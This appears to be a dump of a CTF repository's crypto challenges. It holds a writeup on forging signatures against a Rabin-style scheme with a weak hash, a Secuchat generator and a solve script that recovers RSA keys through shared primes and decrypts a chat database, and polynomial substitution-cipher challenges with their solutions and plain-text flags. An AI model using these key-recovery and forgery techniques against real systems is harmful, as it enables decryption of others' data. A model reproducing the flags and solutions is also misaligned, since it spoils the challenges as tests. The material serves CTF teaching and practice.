    "Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\\times = E - \\{ 0 \\}$ is a cyclic group of order $r^m - 1$, so if $\\alpha \\in E$, then $\\alpha^{r^m - 1} = 1$ and so $\\alpha^{r^m} = \\alpha$. That $E^\\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs.\n",
    "\n",
    "So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    x^{r^n} &= x^{r^{km}} \\\\\n",
    "            &= x^{(r^m)^k} \\\\\n",
    "            &= x^{(r^m)(r^m)^{k-1}} \\\\\n",
    "            &= (x^{r^m})^{(r^m)^{k-1}} \\\\\n",
    "            &= x^{(r^m)^{k-1}} \\\\\n",
    "            &\\quad \\vdots \\\\\n",
    "            &= x\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "(and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting.\n",
    "\n",
    "Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as\n",
    "\n",
    "$$\n",
    "z_E = e_0 + e_1 z + \\cdots e_{n-1} z^{n-1}\n",
    "$$\n",
    "\n",
    "where $e_i \\in \\mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form\n",
    "\n",
    "$$\n",
    "(s^2 \\mod N) + a_1 z + \\cdots a_n z^{n-1}\n",
    "$$\n",
    "\n",
    "such that when $H$ is applied to this element, the constant term remains as $s^2 \\mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \\mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$.\n",
    "\n",
    "The element in $K$ we are interested in is obtained by computing\n",
    "\n",
    "$$\n",
    "(s^2 \\mod N) e_0^{-1} z_E - z = (s^2 \\mod N) + a_1 z + \\cdots + a_n z^{n-1}\n",
    "$$\n",
    "\n",
    "To send this to the server, we encode it as an integer:\n",
    "\n",
    "$$\n",
    "a_n + a_{n-1} r + \\cdots + a_1 r^{n-2} + (s^2 \\mod N) r^{n-1}\n",
    "$$\n",
    "\n",
    "The server will compute for us a square root $y$ of $s^2 \\mod N$ and if we have $y \\neq \\pm s$, we can easily recover the private key using the technique described two sections ago.\n",
    "\n",
    "Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag.\n",
    "\n",
    "### Easier Solution\n",
    "\n",
    "I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \\in K$, then for any of our chosen $x \\in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :)\n",
    "\n",
    "## Alternative Approach via Linearity Properties\n",
    "\n",
    "This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular\n",
    "\n",
    "$$\n",
    "H(M, u) = H(M, 0) + u H(0, 1) \\pmod r\n",
    "$$\n",
    "\n",
    "So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$:\n",
    "\n",
    "$$\n",
    "\\begin{aligned}\n",
    "    x^2 &= H(M, u) \\\\\n",
    "\\implies x &= H(M, u) \\qquad \\text{since $x = 1$} \\\\\n",
    "\\implies x &= H(M, 0) + u H(0, 1) \\\\\n",
    "\\implies u &= H(0, 1)^{-1}(x - H(M, 0))\n",
    "\\end{aligned}\n",
    "$$\n",
    "\n",
    "Then, $(x, u)$ is a valid signature for $M$.\n",
    "\n",
    "This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution!\n",
    "\n",
    "## Alternative Approach via Galois Theory\n",
    "\n",
    "Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\\phi : K \\rightarrow K, x \\mapsto x^r$ which is an $\\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\\phi^n : K \\rightarrow K, x \\mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields.\n",
    "\n",
    "In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\\mathbb{Z}/15\\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\\mathrm{id}$ denotes the identity map):\n",
    "\n",
    "|Subgroup of $G$|Intermediate Field of $K$|\n",
    "|---|---|\n",
    "|$H_0 = \\{ \\mathrm{id} \\}$|$K^{H_0} = K$ (all elements are fixed by $\\mathrm{id}$)|\n",
    "|$H_1 = \\{ \\mathrm{id}, \\phi^5, \\phi^{10} \\}$|$K^{H_1} = \\mathbb{F}_{r^5}$|\n",
    "|$H_2 = \\{ \\mathrm{id}, \\phi^3, \\phi^6, \\phi^9, \\phi^{12} \\}$|$K^{H_2} = \\mathbb{F}_{r^3}$|\n",
    "|$G$|$K^G = \\mathbb{F}_r$ (only $\\mathbb{F}_r$ is fixed by all automorphisms)|\n",
    "\n",
    "From this, we can see that $\\mathbb{F}_{r^3}$ is fixed by $\\phi^3$.\n"
   ]
  },
  {
   "cell_type": "code",
   "execution_count": null,
   "id": "97009ea4",
   "metadata": {},
   "outputs": [],
   "source": []
  }
 ],
 "metadata": {
  "kernelspec": {
   "display_name": "SageMath 9.4",
   "language": "sage",
   "name": "sagemath"
  },
  "language_info": {
   "codemirror_mode": {
    "name": "ipython",
    "version": 3
   },
   "file_extension": ".py",
   "mimetype": "text/x-python",
   "name": "python",
   "nbconvert_exporter": "python",
   "pygments_lexer": "ipython3",
   "version": "3.9.7"
  }
 },
 "nbformat": 4,
 "nbformat_minor": 5
}


================================================
FILE: crypto/power-sign/solve/writeup.md
================================================
## Challenge Overview

We are given the code running on a server that implements a signature scheme. We can ask the server to sign one message, then we are challenged to forge a signature for a random message.

The signature scheme resembles the [Rabin signature algorithm](https://en.wikipedia.org/wiki/Rabin_signature_algorithm). The public key is an RSA modulus $N = pq$ whose prime factorisation is the private key. A message $M$ is signed by first computing a _randomised hash_ $H(M, u)$ (where $u$ is random) of $M$. If $H(M, u)$ has a square root modulo $N$, a square root $x$ modulo $N$ is computed and the signature $(x, u)$ is outputted. Otherwise, we try again with a different $u$. Note that computing square roots modulo $N$, or even determining whether a number has a square root modulo $N$ is equivalent to factoring $N$. To verify a signature $(x, u)$ for the message $M$, we simply check that the equality $x^2 \equiv H(m, u) \pmod N$ holds.

In the challenge, the primes generated are of the form $p \equiv 3 \pmod 4$. This is done because if $p$ is a prime such that $p \equiv 3 \pmod 4$, then if a square root of $a \in \{ 0, \ldots, p-1 \}$ exists, it can be easily computed as $\pm a^{\frac{p+1}{4}} \mod p$. To compute a square root of $c$ modulo $N$, we compute square roots of $c$ modulo $p$ and modulo $q$, then combine them with the Chinese Remainder Theorem.

## Security of Rabin Signatures

Before we proceed, we'll take a look at an easy attack against a simplified variant of the Rabin signature algorithm. Specifically, we consider a variant that does not use a hash function at all, i.e. to sign a message $M$ the signer simply computes a square root of $M$ modulo $N$. For simplicity, we assume that all the messages to be signed actually do have square roots modulo $N$, though it does not really matter. There is one trivial attack; anyone can "forge" a valid signature for $M$ if $M$ is a perfect square. For example, if $M = 9$, then $x = 3$ is a valid signature since $x^2 \equiv m \pmod N$.

More interestingly however, it turns out that we can recover the private key given access to a signing oracle. We do this by choosing a random $x < N$ and ask the oracle to sign $x^2 \mod N$. It returns a square root $y$ of $x^2$ modulo $N$. Now, if $y \neq \pm x \pmod N$, then we have

$$
\begin{aligned}
    x^2 &\equiv y^2 \pmod N \\
    \implies x^2 - y^2 &\equiv 0 \pmod N \\
    \implies x^2 - y^2 &= kN \quad \text{for some $k$} \\
    \implies (x-y)(x+y) &= kN
\end{aligned}
$$

so $\gcd(x-y, N)$ reveals a nontrivial factor of $N$.

## The Hash Function

This section and the next are somewhat algebra-heavy and basic results from algebra are used without proof for brevity. It may be worthwhile to read up on finite fields, field extensions and Galois theory (for later) if they are unfamiliar concepts.

We learned the importance of a good, randomised hash function in the previous section. And more importantly, we learned that a hash function which is simply the identity map (i.e. sends any input to itself), is completely insecure. We will now take a look at the hash function in the challenge.

Choose a composite integer $n$ and a proper divisor $m$ (in the challenge we have $n = 15, m = 3$). Let $r$ be the smallest prime number following $N$, where $N$ is the signer's public key. We will work in an extension field $K = \mathbb{F}_{r^n} \cong \mathbb{F}_r[x]/(f)$ of $\mathbb{F}_r$, where $f \in \mathbb{F}_r[x]$ is a public degree $n$ irreducible polynomial. Let $z = x + (f)$. Then $z$ generates $K$ and $\{ 1, z, z^2, \ldots, z^{n-1} \}$ is basis for $K$ when viewed as an $n$-dimensional $\mathbb{F}_r$-vector space. That is, elements in $K$ can be written in the form $a_0 + a_1 z + \cdots + a_{n-1} z^{n-1}$ where $a_i \in \mathbb{F}_r$.

The randomised hash function $H$ takes as input a message $M$ and an integer $u$. Write $M$ in terms of powers of $r$:

$$
M = M_0 + M_1 r + M_2 r^2 + \cdots + M_k r^k
$$

where $M_i < r$. Then, $M$ is converted to an element $h$ in $K$ by computing

$$
h = M_k + M_{k-1} z + M_{k-2} z^2 + \cdots + M_0 z^k
$$

To obtain the hash, the function computes $(h + uz)^{r^m}$ which we write as

$$
(h + uz)^{r^m} = a_0 + a_1 z + \cdots + a_{n-1} z^{n-1}
$$

The output is $a_0$.

## Choosing a Message to be Signed

After the server provides us with its public key, it prompts us to send a message to be signed. Note that (in the `sign` function) $u$ isn't chosen randomly; it starts at $1$ and increments until $H(M, u)$ is a square. There is also a peculiar restriction on the message; it has to be larger than $N^m$ and smaller than $N^n$.

If we were able to send messages of any size for the server to sign, we can easily find a message that will help us to recover the private key. Specifically, we would choose a random $s < N$ and send the message $(r - 1) + (s^2 \mod N) r$. The hash function will convert this to $h = (s^2 \mod N) + (r - 1)z$ and output the constant term in $(h + uz)^{r^m}$ which happens to just be $s^2 \mod N$ since all elements $a \in \mathbb{F}_r$ satisfy $a^r = a$ by Fermat's Little Theorem. So when the server signs this, we have the exact same situation as the attack described two sections ago. However, the size check prevents this attack.

Recall that the identity map is insecure as a hash function for the reasons given two sections ago. It turns out that our particular hash function is the identity map on a specific subset, or rather, subfield of $K$ other than $\mathbb{F}_r$. We have

$$
H(M, u) = (h + uz)^{r^m}
$$

where $h$ is the element in $K$ we obtain by converting $M$. We can write this as a composition $H = f \circ g$ where

$$
g(M, u) = h + uz \qquad f(x) = x^{r^m}
$$

The goal will be to find fixed points of $H$, which can be done by finding fixed points of $f$ since we can easily manipulate the result of $g(M, u)$ by carefully choosing $M$. Fixed points of $f$ satisfy

$$
f(x) = x \implies x^{r^m} = x \implies x^{r^m} - x = 0
$$

Note that for a finite field $E$ of order $r^m$, the elements of $E$ are given by the roots of $x^{r^m} - x$. This follows from the fact that the multiplicative group $E^\times = E - \{ 0 \}$ is a cyclic group of order $r^m - 1$, so if $\alpha \in E$, then $\alpha^{r^m - 1} = 1$ and so $\alpha^{r^m} = \alpha$. That $E^\times$ is cyclic of order $r^m - 1$ follows from the structure theorem for finite abelian groups which states that any finite abelian group is a direct product of cyclic groups. There are a lot of references online for these results and their proofs.

So, to solve for the roots of $x^{r^m} - x$ we simply need to look at elements in the finite field $E$ of order $r^m$. Since $m$ divides $n$, then this field is actually a subfield of $K$ because if $x$ satisfies $x^{r^m} = x$, then it also satisfies

$$
\begin{aligned}
    x^{r^n} &= x^{r^{km}} \\
            &= x^{(r^m)^k} \\
            &= x^{(r^m)(r^m)^{k-1}} \\
            &= (x^{r^m})^{(r^m)^{k-1}} \\
            &= x^{(r^m)^{k-1}} \\
            &\quad \vdots \\
            &= x
\end{aligned}
$$

(and it can also be checked that $E$ actually is a field). This is good for us as it means we can write the elements in terms of $z$ which is what the server will be expecting.

Let $z_E$ be a generator of $E$. Because $E$ is a subfield of $K$, then $z_E$ can be written as

$$
z_E = e_0 + e_1 z + \cdots e_{n-1} z^{n-1}
$$

where $e_i \in \mathbb{F}_r$. Choose a random $s < N$. We will want to find an element in $K$ of the form

$$
(s^2 \mod N) + a_1 z + \cdots a_n z^{n-1}
$$

such that when $H$ is applied to this element, the constant term remains as $s^2 \mod N$ which will be the output of the hash function. To do this, we will find an element in $E$ with $s^2 \mod N$ as its constant term, and then subtract $z$ from it to account for the randomising value $u$ which we can predict will be $1$.

The element in $K$ we are interested in is obtained by computing

$$
(s^2 \mod N) e_0^{-1} z_E - z = (s^2 \mod N) + a_1 z + \cdots + a_n z^{n-1}
$$

To send this to the server, we encode it as an integer:

$$
a_n + a_{n-1} r + \cdots + a_1 r^{n-2} + (s^2 \mod N) r^{n-1}
$$

The server will compute for us a square root $y$ of $s^2 \mod N$ and if we have $y \neq \pm s$, we can easily recover the private key using the technique described two sections ago.

Once we have the private key, we can use the provided functions in the handout code to sign the challenge message and capture the flag.

### Easier Solution

I was made aware of this by [S3v3ru5's](https://twitter.com/S3v3ru5_) solve during the CTF, but choosing the message to be signed can actually be quite simple (though fundamentally relies on most of the above theory); the idea is to shift the goal posts a bit and instead of trying to find a fixed message, we find a message whose hash is something we can control. We do this by noting that since $x^{r^n} = x$ for all $x \in K$, then for any of our chosen $x \in K$, if we send $x^{r^{n - m}} - zu$, then after being hashed, the result is exactly $x$. I imagine most teams would have solved this way instead of finding the subfield which is quite a bit more complicated. I obviously lacked the hindsight to spot this solution when writing the challenge, but it's pretty neat :)

## Alternative Approach via Linearity Properties

This solution idea is due to [rkm0959](https://twitter.com/rkm0959) who taught me this during the CTF after he solved it. Instead of looking at the fields involved, we can simply note that the hash function has some nice linearity properties. In particular

$$
H(M, u) = H(M, 0) + u H(0, 1) \pmod r
$$

So to forge a signature for any given $M$, we simply let $x = 1$ and solve for $u$:

$$
\begin{aligned}
    x^2 &= H(M, u) \\
\implies x &= H(M, u) \qquad \text{since $x = 1$} \\
\implies x &= H(M, 0) + u H(0, 1) \\
\implies u &= H(0, 1)^{-1}(x - H(M, 0))
\end{aligned}
$$

Then, $(x, u)$ is a valid signature for $M$.

This attack doesn't need to use the signing oracle and shows that the signature scheme is completely broken when using this hash function. Pretty cool solution!

## Alternative Approach via Galois Theory

Alternatively, one might recognise the resemblance of the function $f$ with the Frobenius map $\phi : K \rightarrow K, x \mapsto x^r$ which is an $\mathbb{F}_r$-automorphism that generates the Galois group $G$ of $K/\mathbb{F}_r$. Note that $G$ is cyclic and of order $n$ as $\phi^n : K \rightarrow K, x \mapsto x^{r^n}$ is the identity map. The Fundamental Theorem of Galois Theory tells us that there is a one-to-one correspondence between the subgroups of the Galois group of $K$, and the intermediate fields of $K$. Explicitly, for a given subgroup $H$ of $G$, the corresponding intermediate field of $K$ is given by the fixed field $K^H$, the set of all elements in $K$ which are fixed by all of the maps in $H$. Another result, sometimes known as the Fixed Field Theorem, tells us that the order of $H$ is equal to the degree of $K$ as an extension of $K^H$. We use this, along with the fact that the subfields of $K$ are given by $\mathbb{F}_{r^d}$ where $d$ divides $n$, to find the fixed fields.

In the challenge, we have $n = 15$, so the Galois group $G$ is isomorphic to $\mathbb{Z}/15\mathbb{Z}$. The table below lists out the subgroups of $G$ and their corresponding intermediate fields ($\mathrm{id}$ denotes the identity map):

|Subgroup of $G$|Intermediate Field of $K$|
|---|---|
|$H_0 = \{ \mathrm{id} \}$|$K^{H_0} = K$ (all elements are fixed by $\mathrm{id}$)|
|$H_1 = \{ \mathrm{id}, \phi^5, \phi^{10} \}$|$K^{H_1} = \mathbb{F}_{r^5}$|
|$H_2 = \{ \mathrm{id}, \phi^3, \phi^6, \phi^9, \phi^{12} \}$|$K^{H_2} = \mathbb{F}_{r^3}$|
|$G$|$K^G = \mathbb{F}_r$ (only $\mathbb{F}_r$ is fixed by all automorphisms)|

From this, we can see that $\mathbb{F}_{r^3}$ is fixed by $\phi^3$.


================================================
FILE: crypto/secuchat/README.md
================================================
# Secuchat

**Category:** crypto

**Difficulty:** medium

**Author:** nullableVoid\*#7225

"With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes."

Shame their DB got dumped. See if you can glean anything.

**Attached files:**
- secuchat.db (sha256: cc4d0ee9c26cd173d53d0ad2d00e40f7c8ee637141ddc60f65cc853e7f86ed40)



================================================
FILE: crypto/secuchat/challenge.yml
================================================
version: "0.1"
id: secuchat
name: Secuchat
category: crypto
description: >
  "With end-to-end encryption facilitated by military-grade RSA2048-OAEP and user-generated AES-256-CBC keys, rest assured that Secuchat has your conversations and secrets obscured from prying eyes."


  Shame their DB got dumped. See if you can glean anything.


  Author: nullableVoid*#7225 

tags:
  - medium

files:
  - ./publish/secuchat.db

flags:
  - DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}


================================================
FILE: crypto/secuchat/solve/attack.py
================================================
#!/usr/bin/env python
import sys
import sqlite3
import itertools
from math import gcd
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad

db = sys.argv[1] if len(sys.argv) > 1 else './publish/secuchat.db'
cur = (conn := sqlite3.connect(db)).cursor()

cur.execute("SELECT * FROM User;")
users = [(name, RSA.importKey(k)) for name, k in cur]
for (an, ak), (bn, bk) in itertools.combinations(users, 2):
    if (p := gcd(ak.n, bk.n)) > 1:
        break

print(an, bn)
ak = RSA.construct((ak.n, 65537, pow(65537, -1, (p - 1) * ((q := (ak.n // p)) - 1)), p, q))
bk = RSA.construct((bk.n, 65537, pow(65537, -1, (p - 1) * ((q := (bk.n // p)) - 1)), p, q))


for user, rsa_key in [(an, ak), (bn, bk)]:
    oaep = PKCS1_OAEP.new(rsa_key)
    cur.execute('''
        SELECT
            Conversation.id,
            initiator,
            peer,
            encrypted_aes_key_for_initiator,
            encrypted_aes_key_for_peer,
            iv
        FROM Conversation
        INNER JOIN Parameters
            ON Parameters.id = Conversation.initial_parameters
        WHERE initiator = ? OR peer = ?;
    ''', (user, user))

    for cid, initiator, peer, initiator_key, peer_key, iv in cur.fetchall():
        print(f"{cid}: {initiator} & {peer}")
        attribute = ""
        aes = None
        if initiator == user:
            attribute = "encrypted_aes_key_for_initiator"
            aes = AES.new(oaep.decrypt(initiator_key), AES.MODE_CBC, iv=iv)
        else:
            attribute = "encrypted_aes_key_for_peer"
            aes = AES.new(oaep.decrypt(peer_key), AES.MODE_CBC, iv=iv)

        cur.execute('''
        SELECT
            encrypted_message,
            from_initiator,
        ''' + f"{attribute}, " + '''
            iv
        FROM Message
        INNER JOIN Parameters
            ON Parameters.id = next_parameters
        WHERE conversation = ?
        ORDER BY
            timestamp ASC;
        ''', (cid,))
        for message, from_initiator, key, iv in cur.fetchall():
            print(f"{[peer, initiator][from_initiator]}:", message := unpad(aes.decrypt(message), AES.block_size).decode())
            if "DUCTF" in message:
                break

            aes = AES.new(oaep.decrypt(key), AES.MODE_CBC, iv=iv)
        if "DUCTF" in message:
            break

    if "DUCTF" in message:
        break

conn.close()


================================================
FILE: crypto/secuchat/solve/writeup.md
================================================
# Solution
Sift through combinations of the population of RSA keys until a common prime is found (this is improbable in the wild, but is infinitely easier than factoring, see [Ron was wrong, Whit is right](https://eprint.iacr.org/2012/064.pdf).

From the challenge description and database schema infer the crypto scheme used in the chat, that is, shared keys for AES-256-CBC encrypted with RSA and OAEP.

Decrypt the messages one by one until the flag is found.


================================================
FILE: crypto/secuchat/src/flag.txt
================================================
DUCTF{pr1m1t1v35, p4dd1ng, m0d35- wait, 3n7r0py?!}


================================================
FILE: crypto/secuchat/src/generate.py
================================================
import sys
from faker import Faker
import sqlite3
import random
from Crypto.PublicKey import RSA
from Crypto.Util.number import getStrongPrime
from Crypto.Random import get_random_bytes
from Crypto.Cipher import AES
from Crypto.Cipher import PKCS1_OAEP
from Crypto.Util.Padding import pad
from datetime import datetime

FLAG = open("flag.txt", "r").read().strip()

cursor = (conn := sqlite3.connect(sys.argv[1])).cursor()

fake = Faker('en_AU')

random_keys = [(fake.user_name(), RSA.generate(2048)) for i in range(29)]

common = random.choice(random_keys)[1].p
q = getStrongPrime(1024)
vulnerable = (fake.user_name(), RSA.construct((
    common * q,
    65537,
    pow(65537, -1, (common - 1) * (q - 1)),
    common,
    q
)))

cursor.executescript('''
    CREATE TABLE User (
        username TEXT PRIMARY KEY,
        rsa_key BLOB
    );

    CREATE TABLE Parameters (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        encrypted_aes_key_for_initiator BLOB,
        encrypted_aes_key_for_peer BLOB,
        iv BLOB
    );

    CREATE TABLE Conversation (
        id INTEGER PRIMARY KEY AUTOINCREMENT,
        initiator TEXT,
        peer TEXT,
        initial_parameters INTEGER,
        FOREIGN KEY (initiator) REFERENCES User(username),
        FOREIGN KEY (peer) REFERENCES User(username),
        FOREIGN KEY (initial_parameters) REFERENCES Parameters(id),
        UNIQUE(initiator, peer)
    );

    CREATE TABLE Message (
        conversation INTEGER,
        timestamp INTEGER,
        from_initiator BOOL,
        next_parameters INTEGER,
        encrypted_message BLOB,
        FOREIGN KEY (conversation) REFERENCES Conversation(id),
        FOREIGN KEY (next_parameters) REFERENCES Parameters(id)
    );
''')


cursor.executemany('''
    INSERT INTO User(username, rsa_key) VALUES (?, ?);
''', [(u, k.publickey().exportKey("DER")) for u, k in random.sample(random_keys + [vulnerable], len(random_keys) + 1)])
print("Generated users")

all_keys = dict(random_keys + [vulnerable])

def insert_parameters(encrypted_for_initiator, encrypted_for_peer, iv):
    cursor.execute('''
        INSERT INTO Parameters(encrypted_aes_key_for_initiator, encrypted_aes_key_for_peer, iv) VALUES (?, ?, ?);
    ''', (encrypted_for_initiator, encrypted_for_peer, iv))
    cursor.execute('''
        SELECT id FROM Parameters WHERE rowid = ?;
    ''', (cursor.lastrowid,))
    return cursor.fetchone()[0]


def new_conversation(initiator, peer, messages, timestamp):
    initiator_oaep = PKCS1_OAEP.new(all_keys[initiator])
    peer_oaep = PKCS1_OAEP.new(all_keys[peer])
    key = get_random_bytes(32)
    iv = get_random_bytes(16)
    cursor.execute('''
        INSERT INTO Conversation(initiator, peer, initial_parameters) VALUES (?, ?, ?);
    ''', (initiator, peer, insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv)))
    cursor.execute('''
        SELECT id FROM Conversation WHERE rowid = ?;
    ''', (cursor.lastrowid,))
    conversation_id = cursor.fetchone()[0]
    timestamp += random.randint(1, 100)
    result = []
    for message in messages:
        encrypted = AES.new(key, AES.MODE_CBC, iv=iv).encrypt(pad(message[1].encode(), AES.block_size))
        key = get_random_bytes(32)
        iv = get_random_bytes(16)
        result.append((
            conversation_id,
            timestamp,
            message[0],
            insert_parameters(initiator_oaep.encrypt(key), peer_oaep.encrypt(key), iv),
            encrypted
        ))
        timestamp += random.randint(2, 20)

    return result

all_messages = []

now = int(datetime.now().timestamp())

for i in range(45):
    initiator, peer = random.sample(list(all_keys.keys()), 2)
    while True:
        cursor.execute('''
            SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?);
        ''', (initiator, peer, initiator, peer))
        if cursor.fetchone()[0] == 0:
            break
        initiator, peer = random.sample(list(all_keys.keys()), 2)

    all_messages += new_conversation(initiator, peer, [(bool(random.getrandbits(1)), fake.sentence()) for i in range(random.randint(4, 10))], now)

initiator = vulnerable[0]
peer = random.choice(list(all_keys.keys()))
while True:
    cursor.execute('''
        SELECT COUNT(1) FROM Conversation WHERE (initiator = ? AND peer = ?) OR (peer = ? AND initiator = ?);
    ''', (initiator, peer, initiator, peer))
    if cursor.fetchone()[0] == 0:
        break
    peer = random.choice(list(all_keys.keys()))

all_messages += new_conversation(initiator, peer, [
    (True, f"hey {fake.sentence()}"),
    (False, f"hey {fake.sentence()}"),
    (True, f"here's the flag btw {fake.sentence()}"),
    (True, f"{FLAG} {fake.sentence()}"),
    (False, f"cheers {fake.sentence()}"),
], now)

cursor.executemany('''
    INSERT INTO Message(conversation, timestamp, from_initiator, next_parameters, encrypted_message) VALUES (?, ?, ?, ?, ?);
''', all_messages)

conn.commit()

conn.close()


================================================
FILE: crypto/substitution-cipher-i/README.md
================================================
# Substitution Cipher I

**Category:** crypto

**Difficulty:** beginner

**Author:** joseph#8210

Just a simple substitution cipher to get started...

**Attached files:**
- ./challenge/substitution-cipher-i.sage (sha256: 2c6a139f53f9176129502d6c064bd91c633ba7144170b761cf6f43c82e978dc0)
- ./challenge/output.txt (sha256: 2e486d6bb275404c56bbbb0bcbcbb04a3f5338b6a59590675e5941f2514e9b20)


================================================
FILE: crypto/substitution-cipher-i/challenge/flag.txt
================================================
DUCTF{sh0uld'v3_us3d_r0t_13}


================================================
FILE: crypto/substitution-cipher-i/challenge/output.txt
================================================
𖿫𖝓玲𰆽𪃵𢙿疗𫢋𥆛🴃䶹𬑽蒵𜭱𫢋𪃵蒵🴃𜭱𩕑疗𪲳𜭱窇蒵𱫳


================================================
FILE: crypto/substitution-cipher-i/challenge/substitution-cipher-i.sage
================================================
def encrypt(msg, f):
    return ''.join(chr(f.substitute(c)) for c in msg)

P.<x> = PolynomialRing(ZZ)
f = 13*x^2 + 3*x + 7

FLAG = open('./flag.txt', 'rb').read().strip()

enc = encrypt(FLAG, f)
print(enc)


================================================
FILE: crypto/substitution-cipher-i/challenge.yml
================================================
version: "0.1"
id: substitution-cipher-i
name: Substitution Cipher I
category: crypto
description: |
  Just a simple substitution cipher to get started...

  Author: joseph#8210

tags:
  - beginner

files:
  - ./challenge/substitution-cipher-i.sage
  - ./challenge/output.txt

flags:
  - DUCTF{sh0uld'v3_us3d_r0t_13}


================================================
FILE: crypto/substitution-cipher-i/solve/solve.sage
================================================
P.<x> = PolynomialRing(ZZ)
f = 13*x^2 + 3*x + 7

enc = open('../challenge/output.txt', 'r').read().strip()
flag = ''
for c in enc:
    p = (f - ord(c)).roots()[0][0]
    flag += chr(p)
print(flag)


================================================
FILE: crypto/substitution-cipher-i/solve/test.sh
================================================
#!/bin/sh

TMPDIR=`mktemp -d`

cp -r /work/challenge /work/solve "$TMPDIR"
cd "$TMPDIR/solve"
sage solve.sage


================================================
FILE: crypto/substitution-cipher-i/solve/writeup.md
================================================
The encryption used in the challenge is indeed a simple substitution cipher in disguise. If the text was longer and closer to English, it could be cracked with frequency analysis since each character is encrypted individually and independently of each other.

A plaintext character `m` is encrypted by evaluating it at a public polynomial `f(x) = 13x^2 + 3x + 7`. For example, to encrypt the character "a" (whose ASCII value is 97) we would compute 
```
f(97) = 13*(97^2) + 3*97 +7 = 122615
```

The entire message is encrypted by encrypting each character in this way.

Now suppose we are given a ciphertext value `c`. The goal is to find its corresponding plaintext character `x`. We can represent this mathematically as `f(x) = c`, so plugging in the values, we get

```
13x^2 + 3x + 7 = 122615
```

so

```
13x^2 + 3x + 7 - 122615 = 0
```

Which is just a quadratic equation that can be solved using the quadratic formula. In particular, we get

```
x = (-3 ± sqrt(9 - 4*13*(-122608)))/(2*13)
  = -97.23077 or 97
```

Since we are only interested in positive, integer solutions, we conclude that `x = 97`. Doing this for each character in the ciphertext, we can recover the flag.

SageMath provides a nice [method](https://doc.sagemath.org/html/en/reference/polynomial_rings/sage/rings/polynomial/polynomial_element.html#sage.rings.polynomial.polynomial_element.Polynomial.roots) for solving for the roots of polynomials which is used in the solve script:

```py
P.<x> = PolynomialRing(ZZ)
f = 13*x^2 + 3*x + 7

enc = open('../challenge/output.txt', 'r').read().strip()
flag = ''
for c in enc:
    p = (f - ord(c)).roots()[0][0]
    flag += chr(p)
print(flag)
```


================================================
FILE: crypto/substitution-cipher-ii/README.md
================================================
# Substitution Cipher II

**Category:** crypto

**Difficulty:** easy

**Author:** joseph#8210

That's an interesting looking substitution cipher...

**Attached files:**
- ./challenge/substitution-cipher-ii.sage (sha256: 7491cc5c853cd92c6adf836baad2cf66df84032e76f5603c5008e4681e705f79)
- ./challenge/output.txt (sha256: a77979287fadd1547a84af88a84e78f32fa35d10a671060ec934ac8236e2b8d3)


================================================
FILE: crypto/substitution-cipher-ii/challenge/flag.txt
================================================
DUCTF{go0d_0l'_l4gr4ng3}


================================================
FILE: crypto/substitution-cipher-ii/challenge/output.txt
================================================
Ujyw5dnFofaou0au3nx3Cn84


================================================
FILE: crypto/substitution-cipher-ii/challenge/substitution-cipher-ii.sage
================================================
from string import ascii_lowercase, digits
CHARSET = "DUCTF{}_!?'" + ascii_lowercase + digits
n = len(CHARSET)

def encrypt(msg, f):
    ct = ''
    for c in msg:
        ct += CHARSET[f.substitute(CHARSET.index(c))]
    return ct

P.<x> = PolynomialRing(GF(n))
f = P.random_element(6)

FLAG = open('./flag.txt', 'r').read().strip()

